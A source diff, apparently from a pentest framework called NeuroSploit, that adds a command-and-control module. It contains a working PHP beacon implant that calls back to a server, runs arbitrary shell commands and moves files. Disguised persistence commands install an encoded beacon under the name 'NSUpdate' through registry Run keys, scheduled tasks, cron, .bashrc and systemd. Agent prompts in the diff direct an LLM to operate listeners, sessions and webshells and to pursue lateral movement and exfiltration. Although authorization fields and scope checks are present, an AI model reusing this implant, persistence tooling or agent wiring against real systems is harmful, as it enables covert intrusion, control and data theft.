$ctx=stream_context_create(['http'=>['method'=>'POST','header'=>"Content-Type: application/json\r\nX-Implant-Token: $token\r\n",'content'=>$data,'timeout'=>30,'ignore_errors'=>true]]);
|
||||
return @file_get_contents($url,$false,$ctx);
|
||||
}
|
||||
while(true){
|
||||
$info=json_encode(['uuid'=>$uuid,'hostname'=>gethostname(),'username'=>get_current_user(),'os'=>PHP_OS,'arch'=>php_uname('m'),'pid'=>getmypid(),'internal_ip'=>gethostbyname(gethostname()),'sleep_seconds'=>$sleep]);
|
||||
$r=post("$base/api/beacon",$token,$info);
|
||||
$j=json_decode((string)$r,true);
|
||||
if(is_array($j)){
|
||||
if(!empty($j['next_sleep'])) $sleep=(int)$j['next_sleep'];
|
||||
foreach(($j['tasks']??[]) as $t){
|
||||
$tid=$t['task_id']; $type=$t['task_type']; $p=$t['payload']??[]; $ok=false; $out='';
|
||||
if(in_array($type,['exec','lateral','persist'])){ $out=(string)shell_exec($p['command']??''); $ok=true; }
|
||||
elseif($type==='pwd'){ $out=getcwd(); $ok=true; }
|
||||
elseif($type==='ls'){ $out=(string)shell_exec('ls -la -- '.escapeshellarg($p['path']??'.')); $ok=true; }
|
||||
elseif($type==='download'){ $out=base64_encode((string)@file_get_contents($p['path']??'')); $ok=$out!==''; }
|
||||
elseif($type==='upload'){ $ok=@file_put_contents($p['path']??'',base64_decode($p['content_b64']??''))!==false; }
|
||||
elseif($type==='sleep'){ $sleep=(int)($p['seconds']??$sleep); $ok=true; }
|
||||
elseif($type==='exit'){ $res=json_encode(['uuid'=>$uuid,'results'=>[['task_id'=>$tid,'success'=>true,'output'=>'bye']]]); post("$base/api/beacon",$token,$res); exit; }
|
||||
$res=json_encode(['uuid'=>$uuid,'results'=>[['task_id'=>$tid,'success'=>$ok,'output'=>$out]]]);
|
||||
post("$base/api/beacon",$token,$res);
|
||||
}
|
||||
}
|
||||
sleep(max(1,$sleep));
|
||||
}
|
||||
"#;
|
||||
tpl.replace("@BASE@", base)
|
||||
.replace("@TOKEN@", token)
|
||||
.replace("@UUID@", &random_token()[..16])
|
||||
.replace("@SLEEP@", &sleep_s.max(1).to_string())
|
||||
.replace("@JITTER@", &jitter.min(100).to_string())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// WebShell file commands
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn sq(s: &str) -> String {
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
|
||||
fn dq(s: &str) -> String {
|
||||
format!("\"{}\"", s.replace('"', "\"\""))
|
||||
}
|
||||
|
||||
pub(crate) fn build_file_command(
|
||||
action: &str,
|
||||
path: &str,
|
||||
target: &str,
|
||||
content: &str,
|
||||
os: &str,
|
||||
) -> Result<String, String> {
|
||||
let win = os.eq_ignore_ascii_case("windows");
|
||||
match action {
|
||||
"list" => Ok(if win {
|
||||
format!("dir /a {}", dq(path))
|
||||
} else {
|
||||
format!("ls -la -- {}", sq(path))
|
||||
}),
|
||||
"read" => Ok(if win {
|
||||
format!("type {}", dq(path))
|
||||
} else {
|
||||
format!("cat -- {}", sq(path))
|
||||
}),
|
||||
"write" | "upload" => {
|
||||
let bytes = content.as_bytes();
|
||||
if bytes.len() > 8 * 1024 * 1024 {
|
||||
return Err("content too large (8 MiB max per write)".into());
|
||||
}
|
||||
let b64 = b64(bytes);
|
||||
Ok(if win {
|
||||
format!(
|
||||
"powershell -NoProfile -NonInteractive -Command \"$b=[Convert]::FromBase64String('{}');[IO.File]::WriteAllBytes({},$b)\"",
|
||||
b64,
|
||||
sq(path)
|
||||
)
|
||||
} else {
|
||||
format!("printf '%s' {} | base64 -d > {}", sq(&b64), sq(path))
|
||||
})
|
||||
}
|
||||
"delete" => Ok(if win {
|
||||
format!("del /f /q {}", dq(path))
|
||||
} else {
|
||||
format!("rm -f -- {}", sq(path))
|
||||
}),
|
||||
"mkdir" => Ok(if win {
|
||||
format!("mkdir {}", dq(path))
|
||||
} else {
|
||||
format!("mkdir -p -- {}", sq(path))
|
||||
}),
|
||||
"rename" => {
|
||||
if target.trim().is_empty() {
|
||||
return Err("target_path is required for rename".into());
|
||||
}
|
||||
Ok(if win {
|
||||
format!("move /Y {} {}", dq(path), dq(target))
|
||||
} else {
|
||||
format!("mv -- {} {}", sq(path), sq(target))
|
||||
})
|
||||
}
|
||||
other => Err(format!(
|
||||
"unsupported file action '{other}' (list, read, write, upload, delete, mkdir, rename)"
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Persistence
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub(crate) fn persistence_command(
|
||||
os: &str,
|
||||
method: &str,
|
||||
listener: &Listener,
|
||||
session: &Session,
|
||||
) -> Result<String, String> {
|
||||
let base = format!("http://{}:{}", listener.callback_host, listener.bind_port);
|
||||
let win = os.to_ascii_lowercase().contains("windows");
|
||||
let m = method.trim().to_ascii_lowercase();
|
||||
if win {
|
||||
let ps = payload_powershell_beacon(
|
||||
&base,
|
||||
&listener.token,
|
||||
listener.sleep_seconds,
|
||||
listener.jitter_percent,
|
||||
);
|
||||
let utf16: Vec<u8> = ps.encode_utf16().flat_map(|u| u.to_le_bytes()).collect();
|
||||
let encoded = b64(&utf16);
|
||||
let cmdline = format!("powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand {encoded}");
|
||||
return Ok(match m.as_str() {
|
||||
"registry" => format!(
|
||||
"reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v NSUpdate /t REG_SZ /d \"{}\" /f",
|
||||
cmdline.replace('"', "\\\"")
|
||||
),
|
||||
_ => format!(
|
||||
"schtasks /Create /F /SC ONLOGON /TN \"NSUpdate\" /TR \"{}\"",
|
||||
cmdline.replace('"', "\\\"")
|
||||
),
|
||||
});
|
||||
}
|
||||
let beacon = payload_bash_beacon(
|
||||
&base,
|
||||
&listener.token,
|
||||
listener.sleep_seconds,
|
||||
listener.jitter_percent,
|
||||
);
|
||||
let one = format!("nohup bash -c {} >/dev/null 2>&1 &", sq(&beacon));
|
||||
let one_line = one.replace('\n', " ");
|
||||
Ok(match m.as_str() {
|
||||
"cron" => format!(
|
||||
"(crontab -l 2>/dev/null; echo '@reboot {}') | crontab -",
|
||||
one_line
|
||||
),
|
||||
"bashrc" => format!(
|
||||
"grep -q 'NSUpdate' ~/.bashrc 2>/dev/null || echo '# NSUpdate' >> ~/.bashrc; grep -qF {} ~/.bashrc 2>/dev/null || echo {} >> ~/.bashrc",
|
||||
sq(&one_line),
|
||||
sq(&one_line)
|
||||
),
|
||||
"systemd" => format!(
|
||||
"mkdir -p ~/.config/systemd/user && printf '[Unit]\\nDescription=NSUpdate\\n[Service]\\nExecStart=/bin/bash -c {}\\nRestart=always\\n[Install]\\nWantedBy=default.target\\n' > ~/.config/systemd/user/nsupdate.service && systemctl --user daemon-reload && systemctl --user enable --now nsupdate.service",
|
||||
sq(&one_line.replace('%', "%%"))
|
||||
),
|
||||
_ => format!("{} # session {} @ {}", one_line, session.id, session.hostname),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use super::{now_ms, EVENT_CAP, STATE_VERSION};
|
||||
|
||||
/// Operator authorization and guardrails. Persisted so every restarted daemon
|
||||
/// enforces the same boundary.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct C2Policy {
|
||||
pub enabled: bool,
|
||||
/// Free-text reference to the engagement authorization (SOW / ticket /
|
||||
/// bug-bounty URL). Required to enable.
|
||||
pub authorized_by: String,
|
||||
/// Prefer private/loopback targets. Public targets require an allow-list
|
||||
/// match or an explicit `allow_public_targets`.
|
||||
pub internal_only: bool,
|
||||
/// Explicit opt-in: `persist` tasks are accepted.
|
||||
pub allow_persistence: bool,
|
||||
/// Explicit opt-in: `upload` and `lateral` tasks are accepted.
|
||||
pub allow_lateral: bool,
|
||||
/// Explicit opt-in for public targets.
|
||||
pub allow_public_targets: bool,
|
||||
/// Hosts / domains explicitly authorized (exact, `*.dom` or `.dom`).
|
||||
pub allowed_hosts: Vec<String>,
|
||||
/// Per-command OPSEC deny-list (regex) for exec/lateral tasks.
|
||||
pub command_deny_regex: Vec<String>,
|
||||
pub max_sessions: usize,
|
||||
}
|
||||
|
||||
impl Default for C2Policy {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
enabled: false,
|
||||
authorized_by: String::new(),
|
||||
internal_only: true,
|
||||
allow_persistence: false,
|
||||
allow_lateral: false,
|
||||
allow_public_targets: false,
|
||||
allowed_hosts: Vec::new(),
|
||||
command_deny_regex: Vec::new(),
|
||||
max_sessions: 64,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Listener {
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
/// `http_beacon` is the built-in transport. String field so future
|
||||
/// transports do not break stored state.
|
||||
pub kind: String,
|
||||
pub bind_host: String,
|
||||
pub bind_port: u16,
|
||||
pub callback_host: String,
|
||||
pub token: String,
|
||||
pub status: String,
|
||||
pub sleep_seconds: u32,
|
||||
pub jitter_percent: u32,
|
||||
pub created_at: i64,
|
||||
pub started_at: Option<i64>,
|
||||
pub last_error: Option<String>,
|
||||
}
|
||||
|
||||
impl Listener {
|
||||
/// Public projection for the web console / API responses.
|
||||
pub fn safe(&self) -> Value {
|
||||
json!({
|
||||
"id": self.id,
|
||||
"name": self.name,
|
||||
"kind": self.kind,
|
||||
"bind_host": self.bind_host,
|
||||
"bind_port": self.bind_port,
|
||||
"callback_host": self.callback_host,
|
||||
"status": self.status,
|
||||
"sleep_seconds": self.sleep_seconds,
|
||||
"jitter_percent": self.jitter_percent,
|
||||
"created_at": self.created_at,
|
||||
"started_at": self.started_at,
|
||||
"last_error": self.last_error,
|
||||
"token_set": !self.token.is_empty(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Session {
|
||||
pub id: String,
|
||||
pub listener_id: String,
|
||||
pub implant_uuid: String,
|
||||
pub hostname: String,
|
||||
pub username: String,
|
||||
pub os: String,
|
||||
pub arch: String,
|
||||
pub pid: i64,
|
||||
pub process_name: String,
|
||||
pub is_admin: bool,
|
||||
pub internal_ip: String,
|
||||
pub status: String,
|
||||
pub first_seen: i64,
|
||||
pub last_seen: i64,
|
||||
pub sleep_seconds: u32,
|
||||
pub jitter_percent: u32,
|
||||
pub note: String,
|
||||
pub metadata: Value,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Task {
|
||||
pub id: String,
|
||||
pub session_id: String,
|
||||
pub task_type: String,
|
||||
pub payload: Value,
|
||||
pub status: String,
|
||||
pub source: String,
|
||||
pub created_at: i64,
|
||||
pub sent_at: Option<i64>,
|
||||
pub completed_at: Option<i64>,
|
||||
pub output: String,
|
||||
pub error: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WebshellConnection {
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
pub url: String,
|
||||
pub password: String,
|
||||
pub shell_type: String,
|
||||
pub method: String,
|
||||
pub cmd_param: String,
|
||||
pub pass_param: String,
|
||||
pub encoding: String,
|
||||
pub os: String,
|
||||
pub note: String,
|
||||
pub created_at: i64,
|
||||
pub last_seen: Option<i64>,
|
||||
}
|
||||
|
||||
impl WebshellConnection {
|
||||
/// Password is never sent back over the API — only whether one is set.
|
||||
pub fn safe(&self) -> Value {
|
||||
json!({
|
||||
"id": self.id,
|
||||
"name": self.name,
|
||||
"url": self.url,
|
||||
"shell_type": self.shell_type,
|
||||
"method": self.method,
|
||||
"cmd_param": self.cmd_param,
|
||||
"pass_param": self.pass_param,
|
||||
"encoding": self.encoding,
|
||||
"os": self.os,
|
||||
"note": self.note,
|
||||
"created_at": self.created_at,
|
||||
"last_seen": self.last_seen,
|
||||
"password_set": !self.password.is_empty(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Event {
|
||||
pub ts: i64,
|
||||
pub level: String,
|
||||
pub kind: String,
|
||||
pub message: String,
|
||||
pub data: Value,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PayloadRecord {
|
||||
pub name: String,
|
||||
pub kind: String,
|
||||
pub created_at: i64,
|
||||
pub size: usize,
|
||||
pub note: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct C2State {
|
||||
pub version: u32,
|
||||
pub policy: C2Policy,
|
||||
pub listeners: Vec<Listener>,
|
||||
pub sessions: Vec<Session>,
|
||||
pub tasks: Vec<Task>,
|
||||
pub webshells: Vec<WebshellConnection>,
|
||||
pub events: Vec<Event>,
|
||||
pub payloads: Vec<PayloadRecord>,
|
||||
}
|
||||
|
||||
impl Default for C2State {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
version: STATE_VERSION,
|
||||
policy: C2Policy::default(),
|
||||
listeners: Vec::new(),
|
||||
sessions: Vec::new(),
|
||||
tasks: Vec::new(),
|
||||
webshells: Vec::new(),
|
||||
events: Vec::new(),
|
||||
payloads: Vec::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn push_event(
|
||||
state: &mut C2State,
|
||||
level: &str,
|
||||
kind: &str,
|
||||
message: impl Into<String>,
|
||||
data: Value,
|
||||
) {
|
||||
state.events.push(Event {
|
||||
ts: now_ms(),
|
||||
level: level.into(),
|
||||
kind: kind.into(),
|
||||
message: message.into(),
|
||||
data,
|
||||
});
|
||||
if state.events.len() > EVENT_CAP {
|
||||
let drop = state.events.len() - EVENT_CAP;
|
||||
state.events.drain(0..drop);
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,7 @@ pub mod belief;
|
||||
pub mod browser;
|
||||
pub mod budget;
|
||||
pub mod capability;
|
||||
pub mod c2;
|
||||
pub mod chain;
|
||||
pub mod claims;
|
||||
pub mod cold_digest;
|
||||
@@ -72,6 +73,7 @@ pub mod sandbox;
|
||||
pub mod sarif;
|
||||
pub mod scope;
|
||||
pub mod taint;
|
||||
pub mod toolbox;
|
||||
pub mod traces;
|
||||
pub mod transport;
|
||||
pub mod types;
|
||||
|
||||
@@ -20,6 +20,12 @@ pub enum Profile {
|
||||
MobileIos,
|
||||
BinaryAnalysis,
|
||||
BurpSuite,
|
||||
Infra,
|
||||
Ad,
|
||||
Cloud,
|
||||
Kali,
|
||||
Nmap,
|
||||
Full,
|
||||
Custom(String),
|
||||
}
|
||||
|
||||
@@ -104,6 +110,60 @@ pub fn profile(p: &Profile) -> McpProfile {
|
||||
"env": {}
|
||||
}),
|
||||
},
|
||||
Profile::Infra => McpProfile {
|
||||
name: "Infra".into(),
|
||||
description: "Network/infra testing with an Nmap MCP server".into(),
|
||||
server_name: "nmap".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({
|
||||
"command": "npx",
|
||||
"args": ["-y", "gc-nmap-mcp"],
|
||||
"env": { "NMAP_PATH": "nmap" }
|
||||
}),
|
||||
},
|
||||
Profile::Ad => McpProfile {
|
||||
name: "Active Directory".into(),
|
||||
description: "AD assessment with a Kali MCP tool server".into(),
|
||||
server_name: "kali".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({ "command": "kali-mcp", "args": [], "env": {} }),
|
||||
},
|
||||
Profile::Cloud => McpProfile {
|
||||
name: "Cloud".into(),
|
||||
description: "Cloud/container assessment (Kali MCP for cloud CLIs)".into(),
|
||||
server_name: "kali".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({ "command": "kali-mcp", "args": [], "env": {} }),
|
||||
},
|
||||
Profile::Kali => McpProfile {
|
||||
name: "Kali".into(),
|
||||
description: "Full Kali Linux MCP tool server (80+ tools)".into(),
|
||||
server_name: "kali".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({ "command": "kali-mcp", "args": [], "env": {} }),
|
||||
},
|
||||
Profile::Nmap => McpProfile {
|
||||
name: "Nmap".into(),
|
||||
description: "Nmap MCP server for port/service discovery".into(),
|
||||
server_name: "nmap".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({
|
||||
"command": "npx",
|
||||
"args": ["-y", "gc-nmap-mcp"],
|
||||
"env": { "NMAP_PATH": "nmap" }
|
||||
}),
|
||||
},
|
||||
Profile::Full => McpProfile {
|
||||
name: "Full".into(),
|
||||
description: "Playwright browser plus external tool servers via --mcp-server".into(),
|
||||
server_name: "playwright".into(),
|
||||
tools: tool_allowlist(p),
|
||||
config: json!({
|
||||
"command": "npx",
|
||||
"args": ["-y", "@playwright/mcp@latest", "--headless", "--isolated"],
|
||||
"env": {}
|
||||
}),
|
||||
},
|
||||
Profile::Custom(ref name) => McpProfile {
|
||||
name: format!("Custom: {name}"),
|
||||
description: format!("User-defined custom profile '{name}'"),
|
||||
@@ -138,6 +198,12 @@ pub fn all_profiles() -> Vec<(Profile, &'static str)> {
|
||||
Profile::BurpSuite,
|
||||
"Burp Suite REST API integration (placeholder)",
|
||||
),
|
||||
(Profile::Infra, "Network/infra testing with Nmap MCP"),
|
||||
(Profile::Ad, "Active Directory testing with Kali MCP"),
|
||||
(Profile::Cloud, "Cloud/container tooling via Kali MCP"),
|
||||
(Profile::Kali, "Full Kali Linux MCP tool server"),
|
||||
(Profile::Nmap, "Nmap MCP server"),
|
||||
(Profile::Full, "Playwright + external tool servers"),
|
||||
]
|
||||
}
|
||||
|
||||
@@ -203,6 +269,22 @@ pub fn tool_allowlist(p: &Profile) -> Vec<String> {
|
||||
"proxy_history",
|
||||
"send_to_repeater",
|
||||
],
|
||||
Profile::Infra | Profile::Nmap => &[
|
||||
"do-nmap", "nmap_scan", "nmap_service_scan", "nmap_vuln_scan",
|
||||
"nmap_os_detect", "nmap_ping_sweep",
|
||||
],
|
||||
Profile::Ad => &[
|
||||
"netexec", "enum4linux_ng", "ldapsearch", "smbclient", "rpcclient",
|
||||
"impacket", "kerbrute", "certipy", "bloodhound",
|
||||
],
|
||||
Profile::Cloud => &[
|
||||
"trivy", "prowler", "scoutsuite", "checkov", "kube_bench", "kube_hunter",
|
||||
"cloud_enum", "s3scanner",
|
||||
],
|
||||
Profile::Kali | Profile::Full => &[
|
||||
"nmap", "sqlmap", "nikto", "gobuster", "ffuf", "nuclei", "whatweb",
|
||||
"httpx_probe", "hydra", "john", "searchsploit", "enum4linux", "smbclient",
|
||||
],
|
||||
Profile::Custom(_) => &[],
|
||||
};
|
||||
names.iter().map(|s| (*s).to_string()).collect()
|
||||
@@ -253,6 +335,31 @@ pub fn prompt_context(p: &Profile) -> String {
|
||||
Note: this profile is a placeholder; ensure the Burp REST API \
|
||||
is running before invoking tools."
|
||||
),
|
||||
Profile::Infra => format!(
|
||||
"You are operating in INFRA/NETWORK testing mode. Use the Nmap MCP server for \
|
||||
host discovery, port/service identification and NSE checks. Available tools: {tool_list}. \
|
||||
Keep scans targeted and within the authorized scope; prefer -sV over full-range scans."
|
||||
),
|
||||
Profile::Ad => format!(
|
||||
"You are operating in ACTIVE DIRECTORY testing mode. Use the Kali MCP server for \
|
||||
SMB/LDAP/Kerberos enumeration, credential validation and authenticated checks. \
|
||||
Available tools: {tool_list}. Reuse credentials already proven in the engagement; \
|
||||
never brute-force or run destructive actions."
|
||||
),
|
||||
Profile::Cloud => format!(
|
||||
"You are operating in CLOUD/CONTAINER testing mode. Use the Kali MCP server for \
|
||||
cloud CLIs and container scanners. Available tools: {tool_list}. Read-only discovery \
|
||||
first; never delete/modify cloud resources."
|
||||
),
|
||||
Profile::Kali | Profile::Full => format!(
|
||||
"You are operating in TOOLBOX mode with a Kali Linux MCP server. Real pentest tools are \
|
||||
available as MCP tools: {tool_list}. Prefer the right tool over hand-rolled scripts; \
|
||||
stay in scope and avoid destructive/DoS actions."
|
||||
),
|
||||
Profile::Nmap => format!(
|
||||
"You are operating in NMAP mode. Use the Nmap MCP server for port/service discovery. \
|
||||
Available tools: {tool_list}. Keep scans targeted and authorized."
|
||||
),
|
||||
Profile::Custom(ref name) => format!(
|
||||
"You are operating with the custom profile '{name}'. \
|
||||
No predefined tools are configured; add tools via the \
|
||||
@@ -308,6 +415,12 @@ mod tests {
|
||||
Profile::MobileIos,
|
||||
Profile::BinaryAnalysis,
|
||||
Profile::BurpSuite,
|
||||
Profile::Infra,
|
||||
Profile::Ad,
|
||||
Profile::Cloud,
|
||||
Profile::Kali,
|
||||
Profile::Nmap,
|
||||
Profile::Full,
|
||||
];
|
||||
|
||||
for variant in &expected {
|
||||
|
||||
@@ -968,6 +968,23 @@ pub fn write_mcp_config(dir: &std::path::Path, extra_servers: Option<&std::path:
|
||||
}
|
||||
}
|
||||
}
|
||||
// Curated MCP tool servers selected with --mcp-server (nmap, kali, ...).
|
||||
if let Some(dst) = servers.as_object_mut() {
|
||||
crate::toolbox::mcp_catalog::merge_selected(dst);
|
||||
}
|
||||
// C2 opt-in: expose NeuroSploit's own MCP server to the agentic CLI so the
|
||||
// LLM can drive listeners, sessions, tasks and WebShells with the same
|
||||
// guardrails the CLI enforces (the daemon fails closed when C2 is off).
|
||||
if std::env::var("NEUROSPLOIT_C2").ok().as_deref() == Some("1") {
|
||||
if let Ok(exe) = std::env::current_exe() {
|
||||
if let Some(dst) = servers.as_object_mut() {
|
||||
dst.insert("neurosploit".to_string(), serde_json::json!({
|
||||
"command": exe.display().to_string(),
|
||||
"args": ["mcp"]
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
let cfg = serde_json::json!({ "mcpServers": servers });
|
||||
let path = dir.join(".mcp.json");
|
||||
std::fs::write(&path, serde_json::to_string_pretty(&cfg).unwrap_or_default())?;
|
||||
|
||||
@@ -462,7 +462,7 @@ fn tool_doctrine(mcp_on: bool) -> String {
|
||||
console.log(await p.content()); await p.screenshot({path:'/tmp/shot.png'}); await b.close(); })();\nEOF`\n\
|
||||
then `node /tmp/pw.js <url>` to get the rendered DOM + the XHR/fetch URLs the app calls (that reveals the real API). Use `npx playwright screenshot <url> out.png` for quick proof. Combine with curl for the discovered API endpoints."
|
||||
};
|
||||
format!(
|
||||
let mut doctrine = format!(
|
||||
"TOOLING (authorized; best on Kali Linux or the kalilinux/kali-rolling Docker image):\n\
|
||||
- HTTP: `curl` (dump ALL response headers with -i/-D-, follow/inspect redirects, set methods/params/cookies), `wget`.\n\
|
||||
- Ports/services: `rustscan` if present, else `nmap`; if neither is installed you may \
|
||||
@@ -520,7 +520,18 @@ fn tool_doctrine(mcp_on: bool) -> String {
|
||||
ua = ua_line(),
|
||||
proxy = proxy_line(),
|
||||
pocs = pocs_line(),
|
||||
)
|
||||
);
|
||||
if std::env::var("NEUROSPLOIT_C2").ok().as_deref() == Some("1") {
|
||||
doctrine.push_str("\n");
|
||||
doctrine.push_str(crate::c2::doctrine());
|
||||
doctrine.push_str("\n");
|
||||
}
|
||||
if std::env::var("NEUROSPLOIT_TOOLS").ok().as_deref() == Some("1") {
|
||||
doctrine.push_str("\n");
|
||||
doctrine.push_str(&crate::toolbox::doctrine());
|
||||
doctrine.push_str("\n");
|
||||
}
|
||||
doctrine
|
||||
}
|
||||
|
||||
/// Default identifying User-Agent so target owners (and the operator) can tell
|
||||
@@ -1377,7 +1388,19 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
|
||||
kali_tool_recon(&cfg, &live_hosts, &tx).await
|
||||
};
|
||||
|
||||
let probe_facts = format!("{probe_facts}{subdomains}{tool_recon}");
|
||||
// OPT-IN: let the model pick a bounded set of real tools from the catalog
|
||||
// (nmap/rustscan/httpx/nuclei/ffuf/netexec/...) and feed their raw output
|
||||
// into recon. This is the API-model path; subscription CLIs can already run
|
||||
// the same tools directly. Never runs in offline mode.
|
||||
let agent_tools = if cfg.offline
|
||||
|| std::env::var("NEUROSPLOIT_AGENT_TOOLS").ok().as_deref() != Some("1")
|
||||
{
|
||||
String::new()
|
||||
} else {
|
||||
agent_tool_round(&cfg, pool, &format!("{probe_facts}{subdomains}{tool_recon}"), &tx).await
|
||||
};
|
||||
|
||||
let probe_facts = format!("{probe_facts}{subdomains}{tool_recon}{agent_tools}");
|
||||
|
||||
let recon = if cfg.offline {
|
||||
let _ = tx.send("recon: offline mode — skipping model calls".into()).await;
|
||||
@@ -2282,8 +2305,9 @@ async fn chain_from_seed(pool: &ModelPool, target: &str, directives: &str, recon
|
||||
loot.iter().take(30).map(|l| format!("- {l}")).collect::<Vec<_>>().join("\n")
|
||||
};
|
||||
let short: String = seed.title.chars().take(28).collect();
|
||||
let c2 = crate::c2::agent_context().await;
|
||||
let user = format!(
|
||||
"AUTHORIZED engagement on {target}.\n\n{directives}{react}{depth}{decision}{chain}{safety}{doctrine}\
|
||||
"AUTHORIZED engagement on {target}.\n\n{directives}{react}{depth}{decision}{chain}{safety}{doctrine}{c2}\
|
||||
FOOTHOLD TO EXPAND (round {round}/{max}):\n- [{}] {} @ {} ({})\n payload: {}\n evidence: {}\n\n\
|
||||
LOOT GATHERED (reuse it):\n{loot_block}\n\n{recipe_block}RECON:\n{recon_ctx}\n\n\
|
||||
From THIS foothold, DECIDE the best directions and PROVE new impact — post-exploitation (loot creds/keys/config/source), credential reuse, privilege escalation (horizontal & vertical), lateral movement to adjacent services/hosts, data exfiltration, and NEW attack surface it exposes. Every claim needs a real tool receipt.\n\n\
|
||||
@@ -5174,6 +5198,117 @@ async fn kali_tool_recon(cfg: &RunConfig, hosts: &[String], tx: &Sender<String>)
|
||||
block
|
||||
}
|
||||
|
||||
const TOOLBOX_SYS: &str = "You are a tool-selection planner on an AUTHORIZED security engagement. \
|
||||
Given recon facts and a catalog of real security tools, choose a SMALL, TARGETED set of tools to run now. \
|
||||
Reply ONLY a JSON array of objects: [{\"tool\":\"<catalog id>\",\"args\":\"<flags / arguments>\",\"why\":\"<short reason>\"}]. \
|
||||
Rules: at most 6 entries; use only IDs from the catalog; stay in scope; no destructive, DoS, phishing or persistence actions; \
|
||||
do not repeat a scan whose result is already in RECON; prefer targeted flags over full-range scans; omit args to use the catalog default. \
|
||||
If no additional tool is useful, reply [].";
|
||||
|
||||
/// Bounded, opt-in agent tool loop for the recon phase. The model only selects
|
||||
/// catalog IDs + flags; the runner enforces scope, constraints, timeouts and
|
||||
/// provisioning. Output is appended to the recon facts for downstream agents.
|
||||
async fn agent_tool_round(
|
||||
cfg: &RunConfig,
|
||||
pool: &ModelPool,
|
||||
recon_facts: &str,
|
||||
tx: &Sender<String>,
|
||||
) -> String {
|
||||
let catalog = crate::toolbox::agent_catalog("run");
|
||||
let recon_trim: String = recon_facts.chars().take(9000).collect();
|
||||
let user = format!(
|
||||
"TARGET: {}\n\n{}\n\nRECON FACTS (truncated):\n{}\n\nPick the next tools to run (JSON array only).",
|
||||
cfg.target, catalog, recon_trim
|
||||
);
|
||||
let reply = match pool.complete_routed(Task::Recon, "toolbox", TOOLBOX_SYS, &user).await {
|
||||
Ok((m, text)) => {
|
||||
let _ = tx.send(format!("🧰 toolbox planner via {} — selecting real tools", m.label())).await;
|
||||
text
|
||||
}
|
||||
Err(e) => {
|
||||
let _ = tx.send(format!("🧰 toolbox planner unavailable: {e}")).await;
|
||||
return String::new();
|
||||
}
|
||||
};
|
||||
let Some(value) = crate::json_extract::parse_reply(&reply) else {
|
||||
let _ = tx.send("🧰 toolbox planner returned no parseable plan — continuing without it".into()).await;
|
||||
return String::new();
|
||||
};
|
||||
let entries = match value {
|
||||
serde_json::Value::Array(a) => a,
|
||||
serde_json::Value::Object(mut o) => o
|
||||
.remove("tool_calls")
|
||||
.or_else(|| o.remove("plan"))
|
||||
.and_then(|v| v.as_array().cloned())
|
||||
.unwrap_or_default(),
|
||||
_ => Vec::new(),
|
||||
};
|
||||
if entries.is_empty() {
|
||||
let _ = tx.send("🧰 toolbox planner chose no additional tools".into()).await;
|
||||
return String::new();
|
||||
}
|
||||
let run_cfg = crate::toolbox::ToolRunConfig {
|
||||
sandbox: cfg.sandbox.clone(),
|
||||
provision: std::env::var("NEUROSPLOIT_PROVISION").ok().as_deref() == Some("1"),
|
||||
timeout_secs: Some(180),
|
||||
audit_dir: cfg.workdir.as_ref().map(|w| std::path::PathBuf::from(w).join("toolbox")),
|
||||
scope: Some(effective_scope(cfg)),
|
||||
constraints: operator_constraints(cfg),
|
||||
};
|
||||
let mut block = String::from("\n\nAGENT TOOLBOX OUTPUT (real tools selected by the model; raw output):\n");
|
||||
let mut ran = 0usize;
|
||||
let mut seen = std::collections::BTreeSet::new();
|
||||
for e in entries.into_iter().take(6) {
|
||||
let (tool, args) = match e {
|
||||
serde_json::Value::String(id) => (id, None),
|
||||
serde_json::Value::Object(o) => {
|
||||
let id = o.get("tool").or_else(|| o.get("id")).and_then(|v| v.as_str()).unwrap_or("").to_string();
|
||||
let args = o.get("args").and_then(|v| v.as_str()).map(|s| s.to_string());
|
||||
(id, args)
|
||||
}
|
||||
_ => continue,
|
||||
};
|
||||
let tool = tool.trim().to_ascii_lowercase();
|
||||
if tool.is_empty() || !seen.insert(tool.clone()) {
|
||||
continue;
|
||||
}
|
||||
if crate::toolbox::find(&tool).is_none() {
|
||||
let _ = tx.send(format!("🧰 toolbox: skipping unknown tool '{tool}'")).await;
|
||||
continue;
|
||||
}
|
||||
let _ = tx.send(format!("🧰 running {}…", tool)).await;
|
||||
match crate::toolbox::run(&tool, args.as_deref(), &cfg.target, &run_cfg).await {
|
||||
Ok(run) => {
|
||||
